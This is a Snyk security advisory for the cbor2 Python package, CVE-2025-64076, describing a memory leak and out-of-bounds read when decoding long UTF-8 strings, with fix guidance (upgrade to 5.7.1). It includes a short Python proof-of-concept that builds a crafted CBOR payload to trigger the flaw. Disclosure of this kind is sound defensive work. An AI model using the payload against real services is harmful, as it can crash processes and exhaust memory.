Missing Release of Memory after Effective Lifetime Affecting cbor2 package, versions [,5.7.1)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PYTHON-CBOR2-14049181
- published19 Nov 2025
- disclosed18 Nov 2025
- credittylzh97
Introduced: 18 Nov 2025
NewCVE-2025-64076 (opens in a new tab)How to fix?
Upgrade cbor2 to version 5.7.1 or higher.
Overview
cbor2 is a CBOR (de)serializer with extensive tag support
Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime via the decode_definite_long_string() function in source/decoder.c file An attacker can cause process crashes or exhaust system memory by sending specially-crafted CBOR data containing definite-length text strings with multi-byte UTF-8 characters at specific chunk boundaries, leading to out-of-bounds reads and memory leaks.
PoC
import io
import cbor2
import _cbor2
class LoggingReader(io.BytesIO):
def read(self, n=-1):
print(f"read({n})")
return super().read(n)
payload = "a"*65535 + "€" + "b"*65533 + "€" + "d"*100
decoder = _cbor2.CBORDecoder(LoggingReader(cbor2.dumps(payload)))
decoder.decode()